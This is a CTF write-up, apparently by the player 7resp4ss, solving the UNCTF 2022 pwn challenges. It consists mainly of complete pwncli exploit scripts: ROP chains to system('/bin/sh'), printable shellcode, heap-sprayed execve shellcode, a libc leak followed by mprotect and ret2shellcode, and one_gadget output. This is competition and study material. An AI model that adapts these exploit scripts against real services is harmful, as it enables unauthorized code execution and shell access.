unctf-2022-pwn-all

unctf2022_pwn_all_wp

welcomeUNCTF2022

 sl("UNCTF&2022")

石头剪刀布

预测随机数

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-13 02:17:09
LastEditTime: 2022-11-13 02:20:30
Description: 
'''

from pwncli import *
from ctypes import *
cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

dll = cdll.LoadLibrary("libc.so.6")
seed = dll.srand(0xa)

sla('Will you learn about something of pwn later?(y/n)','y')

for i in range(100):
    rand = str((dll.rand()%3+2)%3)
    sla("round",rand)



io.interactive()

Move your heart

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-12 20:28:27
LastEditTime: 2022-11-12 20:39:59
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

pd = 0x110dfc17
sla("num:",str(pd))
ru("gift:")
leak_addr = int(rl(),16)
log_address_ex2(leak_addr)

pop_rdi_addr = 0x00000000004013d3

pd = flat(
    {
    0:[
        pop_rdi_addr,
        leak_addr+0x18,
        elf.plt.system,
        '/bin/sh\x00',  #here offset is 0x18
    ],
    0x20:leak_addr-8,
    0x28:[
        0x4012D6
    ]
    }
)

sl(pd)

io.interactive()

int_0x80

可见字符shellcode

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-13 14:47:30
LastEditTime: 2022-11-13 15:00:13
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ShellcodeMall
sc = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
'''gdb.attach(io,'b *$rebase(0x13AB)')
sleep(2)'''
sl(sc)


io.interactive()

fakehero

hunk有可执行权限，而且申请的chunk指针存储在栈上，直接喷射chunk指针到栈就完事了

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-13 02:22:57
LastEditTime: 2022-11-13 02:55:53
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

def cmd(idx):
    sla('> ',str(idx))

def add(idx,size,cont):
    cmd(1)
    sla('index: \n',str(idx))
    sla('Size: \n',str(size))
    sla('Content: \n',cont)

def free(idx):
    cmd(2)
    sla('Index: \n',str(idx))

sc = flat(
    {
        0:ShellcodeMall.amd64.execve_bin_sh,
        27:ShellcodeMall.amd64.execve_bin_sh,
        0x100:''
    }
)

for i in range(64):
    add(i,0x100,sc)

cmd(3)


io.interactive()

checkin

给内存错误信号设置了个得到flag的函数，我们只要拉起信号即可。

但是呃呃题目的flag头不是UNCTF，搞得我以为有2个flag文件。

用了用mprotect然后ret2shellcode扫了扫目录，发生就是flag.txt，然后去拷打客服得知是出题人呃呃flag头搞错了

docker里好像把dash删除了，拿不到shell

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-13 14:43:43
LastEditTime: 2022-11-13 16:33:47
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


sl('name')

sla('size',' -65535')

pop_rdi_addr = 0x0000000000400a53

pd = flat(
    {
        0x58:[
            pop_rdi_addr,
            elf.got.puts,
            elf.plt.puts,
            0x400938
        ]
    }
)
sl(pd)

lb = recv_current_libc_addr(0x06f6a0)
log_address_ex2(lb)

sys_addr = lb + 0x0453a0
binsh = lb + 0x18ce57
'''
$ one_gadget libc6_2.23-0ubuntu11.3_amd64.so                            
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

sl('name')

sla('size',' -65535')

bss_addr = 0x000000000601080

pop_rdi_addr = 0x0000000000400a53
pop_rdx_rsi_addr = lb + 0x00000000001151c9

pd = flat(
    {
        0x58:[
            pop_rdi_addr,
            0x400000,
            pop_rdx_rsi_addr,
            7,
            0x4000,
            lb + 0x0000000000101870, #mprotect

            pop_rdi_addr,
            0,
            pop_rdx_rsi_addr,
            0x100,
            0x400000,
            elf.plt.read,    #read shellcode


            0x400000,

        ]
    }
)
sl(pd)

sleep(2)

sc = asm(shellcraft.cat("flag.txt"))
sl(sc)

io.interactive()